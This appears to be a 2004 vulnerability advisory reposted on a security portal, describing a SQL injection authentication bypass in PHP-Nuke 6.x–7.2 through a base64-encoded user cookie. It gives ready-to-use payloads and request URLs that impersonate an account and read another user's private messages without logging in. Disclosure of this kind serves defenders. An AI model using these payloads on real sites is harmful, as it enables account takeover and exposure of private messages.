Waraxe IT Security Portal
Login or Register
March 25, 2025
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 361
Members: 0
Total: 361
Full disclosure
SQL Injection in Admin Functionality - dolphin.prov7.4.2
Stored XSS via Send Message Functionality - dolphin.prov7.4.2
APPLE-SA-03-11-2025-4 visionOS 2.3.2
APPLE-SA-03-11-2025-3 macOS Sequoia 15.3.2
APPLE-SA-03-11-2025-2 iOS 18.3.2 and iPadOS 18.3.2
APPLE-SA-03-11-2025-1 Safari 18.3.1
CVE-2019-16261 (UPDATE): Unauthenticated POST requests to Tripp Lite UPS Systems
Multiple sandbox escapes in asteval python sandboxing module
SEC Consult SA-20250226-0 :: Multiple vulnerabilities in Siemens A8000 CP-8050 & CP-8031 PLC
Re: MitM attack against OpenSSH's VerifyHostKeyDNS-enabled client
MitM attack against OpenSSH's VerifyHostKeyDNS-enabled client
Self Stored XSS - acp2sev7.2.2
Python's official documentation contains textbook example of insecure code (XSS)
Re: Netgear Router Administrative Web Interface Lacks Transport Encryption By Default
Monero 18.3.4 zero-day DoS vulnerability has been droppedpublicly on social network.
[waraxe-2004-SA#017] - User-level authentication bypass in phpnuke 6.x-7.2





Author: Janek Vind "waraxe"
Date: 12. April 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=17


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's begin our journey. I was exploring the phpnuke code and saw this code in
modules.php in lines 20-21:

global $nukeuser;
$nukeuser = base64_decode($user);

Hmm, base64decoded global variable $nukeuser, it means, that $nukeuser can contain unslashed
single quotes and potentially lead to sql injection...
So, i was searching phpnuke source files to find out, for what is used this variable. And
the answer is - for integrated phpBB forum module in phpnuke.
This is how it works - first forum module will call the function session_pagestart($user_ip, $thispage_id, $nukeuser)
from sessions.php, this function will call bblogin($nukeuser, $session_id) from functions.php .
Now, here is some code fragments from bblogin():

function bblogin($nukeuser, $session_id) {
...
$cookie = explode(":", $nukeuser);
$nuid = $cookie[0];
...
if( $nuid != $logindata['session_user_id'] ) {
$nusername = $cookie[1];
$sql = "SELECT user_id, username, user_password, user_active, user_level
FROM ".USERS_TABLE."
WHERE username = '" . str_replace("'", "''", $nusername) . "'";
$result = $db->sql_query($sql);
if(!$result) {
message_die(GENERAL_ERROR, "Error in obtaining userdata : login", "", __LINE__, __FILE__, $sql);
}
...

As we can see, base64decoded UNSLASHED data will be exploded to array $cookie and then username
component will be used in sql query. Therefore sql injection must be possible...
Now it's time to practical work. By the way, we don't need to play with cookies (this is little bit harder
then GET requests), because phpnuke will globalize all the GPC variables, so there is no difference, it's
COOKIE, POST or GET. Now, for proof testing let's contruct "cookie" like this:

1:x'%20OR%20y/*:pwd

and next let's base64encode them, so we get: MTp4JyBPUiB5Lyo6cHdk
Ok, now if we make HTTP request like this:

http://localhost/nuke71/modules.php?name=Forums&user=MTp4JyBPUiB5Lyo6cHdk

then most of the phpnuke installations will give us phpbb error message:

------------------------------------------------------------------------
General Error

Error in obtaining userdata : login

DEBUG MODE

SQL Error : 1054 Unknown column 'y' in 'where clause'

SELECT user_id, username, user_password, user_active, user_level FROM nuke_users WHERE username = 'x' OR y/*'

Line : 840
File : D:apache_wwwroot
uke71includesfunctions.php
------------------------------------------------------------------------

And it's not surprise, that line 840 from functions.php belongs to function bblogin($nukeuser, $session_id)
from integrated phpBB package. So we have proof of the real sql injection and can use this for
full path disclosure and XSS. Hmm, maybe we can do something more "useful"? Answer is "yes", if the mysql
engine has version number > 4.0 and UNION functionality is enabled. We can use UNION to "fake" any
information, that phpnuke will try to query from database.
In this stage WE NEED TO KNOW user_id of the user, who we are targeting. Admin's user-alias has
probably user_id=2, but we can very easy get any user's user_aid, for example if we look at user's
profile:

http://localhost/nuke71/modules.php?name=Forums&file=profile&mode=viewprofile&u=2

then we see "u=2", therefore user_id=2. Now let's contruct "cookie" like this:

x:x'%20UNION%20SELECT%202,null,'pass',1,null/*:pass

and base64encoded version is --> eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bGwvKjpwYXNz
So we make HTTP request like this:

http://localhost/nuke71/modules.php?name=Forums&user=eDp4JyBVTklPTiBTRUxFQ1QgMixudWxsLCdwYXNzJywxLG51bGwvKjpwYXNz

and we see forum page with link "log out [waraxe]" (with username, who's user_id=2). So, we just fooled
phpnuke to believe, that we are authentic user, and that's without any authentication at all.
Of course, work is not yet done - if we try to click on any links, then we see login page, because
this sort of "authentication" is not permanent.
There are many possibilities to improve this method and use it for different "bad things".
I will show here example HTTP requests, that will make possible to read any user private messages
without any authentication.
If user "waraxe" has user_id=2, then lets construct "cookie" like this:

x:foo'%20UNION%20SELECT%202,null,1,1,null/*:1

and after base64encode operation we get: eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

Next, we make HTTP request like this:

http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

and if you are lucky, you can see the pm list. Now, how we can read one of the private messages?
Just copy the url of the private message, what you see in pm list, for example:

http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1

and then add our "magic" string:

http://localhost/nuke71/modules.php?name=Private_Messages&file=index&folder=inbox&mode=read&p=1&user=eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox

Paste this to url field in browser and make get request. Mission complete!



Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (19414 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
Cybercrime news
Corrupted Microsoft Office Documents Used In Phishing Campaign
Russia Gives Life Sentence To Hydra Dark Web Kingpin After Seizing A Ton Of Drugs
Severity Of Risk Facing The UK Is Widely Underestimated
Hackers Stole $1.49 Billion In Cryptocurrency To Date In 2024
CyberVolk Analysis Explores Ransomware, Hacktivism Connections
Cyberattacks Cost British Businesses $55 Billion In Past 5 Years
Here's What Happens If You Don't Layer Network Security Or Remove Unused Web Shells
Russian Women Stepping Up For Cybercrime Outfits
Five Scattered Spider Suspects Indicted For Phishing And Heists
Crooks Snag $250k Wire Payment From AI Biz
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
New GoIssue Tool Targets GitHub Devs And Corporate Supply Chains
Dark Web Crypto Laundering Kingpin Sentenced To 12.5 Years In Prison
FBI Warns US Organizations Of Fake Emergency Data Requests
Hackers Are Stealing Tickets From Ticketmaster Accounts
Scattered Spider, BlackCat Claw Their Way Back From The Undergound
Cybercrooks Are Targeting Bengal Cat Lovers In Australia
Operation Synergia II Sees Interpol Swoop On Global Cyber Crims
Rhysida Ransomware Attack On Columbus Claimed 500k Victims
Malware Operators Use Copyright Infringement To Lure In Businesses
North Korean Nation State Threat Actor Using Play Ransomware
Dutch Cops Pwn The Redline And Meta Infostealers, Leak VIP Aliases
Senator Accuses Sloppy Domain Registrars Of Aiding Russian Disinfo Campaigns
100 Million Impacted By Change Healthcare Attack
Detective Charged With Purchasing Stolen Credentials
Hacker news
Hackers Stole $1.49 Billion In Cryptocurrency To Date In 2024
Russian Hacker With $10 Million Bounty On His Head Reportedly Arrested
New York Fines GEICO And Travelers $11.3 Million In Data Breach Cases
Feds Seek To Grill Kansas City Man With Hacking Charges
ProjectSend Vulnerability Exploited In The Wild
CyberVolk Analysis Explores Ransomware, Hacktivism Connections
Russian Cyberspies Hacked Building Across Street From Target For W-Fi Attack
Five Scattered Spider Suspects Indicted For Phishing And Heists
North Korean Hackers Behind 2019 $42 Million Ethereum Heist
Equinox Notifies 21,000 Patients And Staff Of Data Theft
Palo Alto Sounds Alarm Over PAN-OS Zero Day Attacks
Thousands Of IoT Devices Turned Into Residential Proxies
Discontinued GeoVision Products Targeted In Botnet Attacks
Ransomware Attack On Oklahoma Medical Center Impacts 133,000
300 Drinking Systems In US Exposed To Disruptive, Damaging Hacker Attacks
Webscout Is Worth Checking Out
Palo Alto Networks Confirms New Firewall Zero-Day Exploitation
Known Brand, Gov Domains Hijacked Via Sitting Ducks Attacks
Man Gets 5 Years For Laundering Crypto From Bitfinex Hack
Two Men Charged For Hacking US Tax Preparation Firms
Iranian Threat Group Targets Aerospace Workers With Fake Job Lures
Citrix, Cisco, Fortinet Zero-Days Among 2023's Most Exploited Vulnerabilities
Ahold Delhaize Cybersecurity Incident Impacts Giant Food, Hannaford
Remcos RAT Now Exploiting Microsoft Excel Files
Amazon Confirms Employee Data Exposed In Leak Linked TO MOVEit Vulnerability
Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.061 Seconds